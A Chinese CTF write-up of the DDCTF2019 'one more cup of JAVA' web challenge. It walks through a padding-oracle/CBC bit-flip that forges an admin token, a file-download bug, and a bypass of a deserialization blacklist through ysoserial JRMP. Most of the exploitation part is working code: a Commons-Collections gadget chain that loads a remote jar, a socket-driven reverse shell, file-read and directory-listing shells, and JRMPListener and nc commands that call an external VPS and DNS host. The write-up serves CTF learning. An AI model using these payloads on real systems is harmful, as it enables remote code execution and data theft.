DDCTF2019-WEB-再来一杯JAVA

最近有好一段时间没有写blog了,并且很长时间没打CTF了,甚是怀念,然而又一次被DDCTF折磨了一周,嗯,还是JAVA题有意思,并且题目质量非常不错,故写一下解题过程以作纪念。

0x01 padding oracle & cbc翻转

点开题目之后,发现tis是

1
2
3
绑定Host访问:

116.85.48.104 c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com

不管它,直接浏览器访问,但是发现是404的,好吧,那么把hosts改一下,让这个域名

1
c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com

解析成

1
116.85.48.104

然后再次回到浏览器刷新一下,就可以发现已经可以访问了,其实背后的原理,应该就是服务器端的nginx做了虚拟host的判断。

image

接着,对http数据包做一下审查,嗯,可以用chrome看,也可以用burpsuite等等,我这里使用了burpsuite审查流量,可以看到大概有图中那些http请求

image

其中有两个api值得关注

1
2
3
4
5
http://c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023/api/account_info
{"id":1,"roleAdmin":false}

http://c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023/api/gen_token
UGFkT3JhY2xlOml2L2NiY8O+7uQmXKFqNVUuI9c7VBe42FqRvernmQhsxyPnvxaF

然后再看首页,写着 Try to become an administrator.
很明显就是要我们成为admin,做ctf题很关键的地方就是,我们要跟着线索走,要不然就会离真相越来越远。。。

image

然后关注回http请求数据,对http请求头进行了一下审计,发现其中cookie有一个token,其内容就是/api/gen_token接口返回的token,经过base64解码之后,是一串48byte的字符串,其中前16byte明文显示的是PadOracle:iv/cbc

image
image

好了,我们继续跟着线索走,根据前16byte以及首页的tis,我猜测要先成为admin,才能拿到下一步的tis,然后根据/api/account_info接口的返回值

1
{"id":1,"roleAdmin":false}

我猜测,token的base64 decode后的后32byte应该就是这串json的密文,所以这一步的解题应该就是需要通过Padding Orache得到AES加密过程中每一轮的middle,然后得到原文,最后通过cbc翻转攻击修改iv,使得iv在服务端解密的时候可以解密出我们想要的内容

1
{"id":1,"roleAdmin":true}

image

然后就是一轮Padding Orache & cbc翻转,其实0-16byte是16-32byte密文的iv,16-32byte是32-48byte的iv,那么我们先爆破16-32byte的middle,然后得到明文,再修改16-32byte的密文,因为它是32-48byte的iv,使得32-48byte的密文在服务端解密的时候能解密成

1
dmin":true}

因为我们修改了16-32byte的密文,所以我们需要爆破0-16byte的middle并修改0-16byte的iv,使得在16-32byte解密之后的内容和原来一致,最后我们得到的base64的token是

1
e/0YtlMi8D4jOD4Uk+gE2sO+7uQmXLN5LEM2W9Y6VRa42FqRvernmQhsxyPnvxaF

嗯,这里贴一下大师傅padding oracle的脚本

1
2
【链接】PaddingOracleAttack分析
https://blog.csdn.net/qq_31481187/article/details/71773789

得到成为admin的token后,我们通过修改cookie的token。

image

再次回到首页,发现首页已经有所改变。

image

并且通过一个接口

1
http://c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023/api/fileDownload?fileName=1.txt

下载了一个tis文件,内容为

1
2
3
4
Try to hack~ 
Hint:
1. Env: Springboot + JDK8(openjdk version "1.8.0_181") + Docker~
2. You can not exec commands~

0x02 任意(也不算任意)文件下载

在上一轮我们通过Padding Orache & cbc翻转成功变成admin之后,我们得到了一个任意文件下载的接口

1
http://c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023/api/fileDownload?fileName=1.txt

通过把name修改为/etc/passwd发现的确存在任意文件下,但是不知何原因,好多linux固定路径的文件没办法下载。。

image

因为我们已经知道了系统环境为docker,那么我们是不是可以试一下下载/proc/fd/self/xxx进程文件描述符文件得到一些重要信息?由于我们并不知道当前运行的Springboot服务的jvm的进程,所以我们尝试通过遍历爆破的方式,最后找到了/proc/self/fd/15,并把下载的文件放到java反编译软件,good,可以看到所有的代码逻辑了。

image
image

通过阅读反编译的源码,我们可以看到文件下载的接口,其实对一些情况做了限制,这样也就印证了前面为何很多linux固定路径的文件下载不到。

0x03反序列化源码审计

在上一轮,我们通过遍历/proc/fd/self/xxx得到了Springboot服务的jar文件,并顺利使用反编译软件看到源码,然后我们看一下fileDownload接口这个Controller的源码以及其调用的Service层的代码,我们可以清醒的看到,其中有一个if判断是判断到文件名称包含有flag字符的都会被过滤掉

image
image

然后我们找到了一个反序列化的接口,是根据用户上传参数base64Info的数据进行反序列化

image

但是我们可以看到,这里用到的反序列化类是SerialKiller,其中有一个配置文件,对需要反序列化的class做了一个黑名单过滤

image
image
image

根据黑名单配置文件,我们可以发现,大多数的class被加入了黑名单,然后我们翻阅ysoserial,可以看到大部分的payload其实都被加入到黑名单了,怎么办呢?这时候突然想起了后来放出的tis:JRMP

前面也说过了,打ctf就是要跟着线索走,根据JRMP这个线索,发现ysoserial内的JRMPListener以及经过修改的JRMPClient的payload是没有在黑名单内的,那么很明显了,有两个常规思路去突破这个黑名单:

  1. 通过SerialKiller反序列化JRMPListener payload,使得服务端创建一个JRMP服务,然后我们使用JRMPClient连接这个JRMPListener服务并把序列化的payload发送到JRMPListener反序列化,而不通过受限的SerialKiller去反序列化
  2. 首先在公网可以访问的地方创建一个JRMPListener服务,并且这个服务被client连接后,会把序列化payload发送给client。然后我们发送JRMPClient payload到赛题服务的反序列化接口,通过SerialKiller反序列化JRMPClient payload,然后,使得服务端创建一个JRMPClient,并连接到我们公网上部署的JRMPListener服务,最后JRMPListener服务把序列化payload发送到client反序列化,而不通过受限的SerialKiller去反序列化

image
image

但由于赛题环境是docker环境,肯定是没有暴露多余的端口的,就算有,我们也不好测试到,所以思路2可以否掉了

0x04 getshell

在上一轮的分析中,我们已经确定了使用思路1去突破,所以我们需要先准备几样东西

  1. payload A
  2. vps
  3. ysoserial.jar

payload A:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
@SuppressWarnings ( {
"restriction"
} )
@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient1 extends PayloadRunner implements ObjectPayload<Object> {

public Object getObject ( final String command ) throws Exception {

String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
return ref;
}


public static void main ( final String[] args ) throws Exception {
String[] xxx = new String[]{"45.123.123.123:44444"};
Thread.currentThread().setContextClassLoader(JRMPClient1.class.getClassLoader());
PayloadRunner.run(JRMPClient1.class, xxx);
}
}

执行上面的java代码,生成了利用反序列化启动JRMPClient的payload,并且该JRMPClient会连接上我们公网vps的JRMPListener。

vps:

1
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 44444 CommonsCollections5 'curl http://xxx.ceye.io'

把ysoserial.jar扔到vps上,并执行上面的命令。


最后我们把上面生成的payload A发送到赛题反序列化的接口,然后我们可以观察到vps上出现了连接的log输出,但是好像curl命令并没有运行成功,what???根据1.txt的文件tis,难道是命令都被干掉了?验证一下吧!

image
image

我们把ysoserial的payload修改成URLDNS,并把URL修改成自己的CEYE DNS解析服务:

1
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 44444 URLDNS 'http://xxx.ceye.io'

然后payload A发送到赛题反序列化的接口,通过查看DNS解析服务,其实可以看到反序列化漏洞是存在的,但是,可能命令被限制了。

image


既然这样,我们写一个java的webshell去验证一下吧。

R.jar:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.OutputStreamWriter;
import java.net.Socket;

public class R {

public R(String ip, Integer port) {
new Thread(() -> {
try {
Socket socket = new Socket(ip,port);
BufferedWriter bufferedWriter = new BufferedWriter(new OutputStreamWriter(socket.getOutputStream()));
bufferedWriter.write("hello ddctf!");
bufferedWriter.flush();

BufferedReader bufferedReader = new BufferedReader(
new InputStreamReader(socket.getInputStream()));
while (true) {
String line;
while ((line = bufferedReader.readLine()) == null)
;
Process pro = Runtime.getRuntime().exec(line);
BufferedReader read = new BufferedReader(
new InputStreamReader(pro.getInputStream()));
String line2 = null;
while ((line2 = read.readLine()) != null) {
bufferedWriter.write(line2);
bufferedWriter.flush();
}
}

} catch (IOException e) {
e.printStackTrace();
}
}).start();
}

public static void main(String[] args) {

}
}

然后在ysoserial加入下面这个payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
package ysoserial.payloads;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
import javax.management.BadAttributeValueExpException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;


public class CommonsCollectionsForLoadJar extends
PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {
public BadAttributeValueExpException getObject(final String ipAndHost) throws Exception {
// http://127.0.0.1:8080/R.jar;127.0.0.1:4444
String payloadUrl = ipAndHost.substring(0,ipAndHost.indexOf(";"));

String ip2 = ipAndHost.substring(ipAndHost.indexOf(";")+1,ipAndHost.lastIndexOf(":"));
Integer port2 = Integer.parseInt(ipAndHost.substring(ipAndHost.lastIndexOf(":")+1));
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[] { new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(java.net.URLClassLoader.class),
// getConstructor class.class classname
new InvokerTransformer("getConstructor",
new Class[] { Class[].class },
new Object[] { new Class[] { java.net.URL[].class } }),
new InvokerTransformer(
"newInstance",
new Class[] { Object[].class },
new Object[] { new Object[] { new java.net.URL[] { new java.net.URL(
payloadUrl) } } }),
// loadClass String.class R
new InvokerTransformer("loadClass",
new Class[] { String.class }, new Object[] { "R" }),
// set the target reverse ip and port
new InvokerTransformer("getConstructor",
new Class[] { Class[].class },
new Object[] { new Class[] { String.class,Integer.class } }),
// invoke
new InvokerTransformer("newInstance",
new Class[] { Object[].class },
new Object[] { new Object[] { ip2,port2 } }),
new ConstantTransformer(1) };
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, entry);

Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return val;
}
public static Constructor<?> getFirstCtor(final String name)
throws Exception {
final Constructor<?> ctor = Class.forName(name)
.getDeclaredConstructors()[0];
ctor.setAccessible(true);
return ctor;
}
public static Field getField(final Class<?> clazz, final String fieldName)
throws Exception {
Field field = clazz.getDeclaredField(fieldName);
if (field == null && clazz.getSuperclass() != null) {
field = getField(clazz.getSuperclass(), fieldName);
}
field.setAccessible(true);
return field;
}
public static void setFieldValue(final Object obj, final String fieldName,
final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
}

其实这个payload的作用就是,远程load一个jar并实例化R.class,在实例化R.class的时候,会调用R的构造方法,然后我们在构造方法内创建一个指定的tcp连接,通过tcp连接实现一个webshell。

然后我们把R.jar上传到web服务,也就是可以通过url在公网下载得到,因为我们的payload需要load它,接着我们把修改后的ysoserial.jar放到vps上,并执行以下命令:

1
2
3
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 44444 CommonsCollectionsForLoadJar "http://45.123.123.123/R.jar;45.123.123.123:25678"

nc -lvv 25678

再次把payload A发送到赛题反序列化的接口,然后我们可以看到,nc连接上webshell了,然后尝试执行了多个指令,发现无一例外,都被禁用了。

image


发现所有命令都被禁用后,那么唯有通过java去读文件了,然后对R.jar稍微做了一点修改,改成读文件的readFileShell…

R1.jar

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.OutputStreamWriter;
import java.net.Socket;
import java.nio.file.Files;
import java.nio.file.Paths;

public class R {

public R(String ip, Integer port) {
new Thread(() -> {
try {
Socket socket = new Socket(ip,port);
BufferedWriter bufferedWriter = new BufferedWriter(new OutputStreamWriter(socket.getOutputStream()));
bufferedWriter.write("hello ddctf!");
bufferedWriter.newLine();
bufferedWriter.flush();

BufferedReader bufferedReader = new BufferedReader(
new InputStreamReader(socket.getInputStream()));
while (true) {
String line;
while ((line = bufferedReader.readLine()) == null)
;
try {
BufferedReader read = new BufferedReader(
new InputStreamReader(Files.newInputStream(Paths.get(line.trim()))));
String line2 = null;


while ((line2 = read.readLine()) != null) {
bufferedWriter.write(line2);
bufferedWriter.newLine();
}
} catch (Exception e) {
e.printStackTrace();
bufferedWriter.write("文件不存在");
bufferedWriter.newLine();
}
bufferedWriter.flush();
}

} catch (IOException e) {
e.printStackTrace();
}
}).start();
}
}

按照前面getshell的方式,同样一顿操作,成功连接上readFileShell,试了一下,没问题,但是这时候又出现了一个问题,flag在哪?…

image

再次对R1.jar做一下修改,实现了java列目录的listDirShell…

R2.jar

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.OutputStreamWriter;
import java.net.Socket;
import java.nio.file.FileVisitResult;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.nio.file.SimpleFileVisitor;
import java.nio.file.attribute.BasicFileAttributes;

public class R {

public R(String ip, Integer port) {
new Thread(() -> {
try {
Socket socket = new Socket(ip,port);
BufferedWriter bufferedWriter = new BufferedWriter(new OutputStreamWriter(socket.getOutputStream()));
bufferedWriter.write("hello ddctf!");
bufferedWriter.newLine();
bufferedWriter.flush();

BufferedReader bufferedReader = new BufferedReader(
new InputStreamReader(socket.getInputStream()));
while (true) {
String line;
while ((line = bufferedReader.readLine()) == null)
;
try {
v(line.trim(),bufferedWriter);
} catch (Exception e) {
e.printStackTrace();
bufferedWriter.write("文件不存在");
bufferedWriter.newLine();
}
bufferedWriter.flush();
}

} catch (IOException e) {
e.printStackTrace();
}
}).start();
}

private void v(String dddir,BufferedWriter bufferedWriter) throws IOException {
Files.walkFileTree(Paths.get(dddir), new SimpleFileVisitor<Path>() {

@Override
public FileVisitResult postVisitDirectory(Path dir, IOException exc) {
try {
bufferedWriter.write(dir.toString());
bufferedWriter.newLine();
bufferedWriter.flush();
} catch (IOException e) {
e.printStackTrace();
}
return FileVisitResult.CONTINUE;
}

@Override
public FileVisitResult visitFile(Path file, BasicFileAttributes attrs) {
try {
bufferedWriter.write(file.toString());
bufferedWriter.newLine();
bufferedWriter.flush();
} catch (IOException e) {
e.printStackTrace();
}
return FileVisitResult.CONTINUE;
}
});
}
}

按照前面getshell的方式,同样一顿操作,成功连接上listDirShell,试了一下,没问题,然后尝试了一下列/flag目录,good,终于找到flag文件了,这时候用R1.jar读取一下,成功get flag

image
image